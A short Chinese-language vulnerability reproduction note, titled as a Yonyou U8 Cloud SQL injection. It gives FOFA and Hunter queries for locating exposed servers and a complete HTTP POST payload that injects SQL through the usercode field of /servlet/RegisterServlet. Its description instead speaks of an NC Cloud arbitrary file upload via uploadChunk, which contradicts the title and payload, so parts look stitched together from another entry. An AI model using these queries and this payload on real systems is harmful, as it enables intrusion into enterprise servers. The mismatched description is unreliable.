Y3-25用友-U8-Cloud-SQL

漏洞描述：

NC Cloud是用友推出的大型企业数字化平台。 用友NC cloud uploadChunk 存在任意文件上传，攻击者可利用此漏洞获取服务器权限。

网站图片：

网络测绘：

fofa语法：

- FOFA:app="用友-NC-Cloud"
- Hunter：web.body="uap/rbac"
- web.body="public/img/background.jpg"

漏洞复现：

payload：

```
POST /servlet/RegisterServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
```

效果图: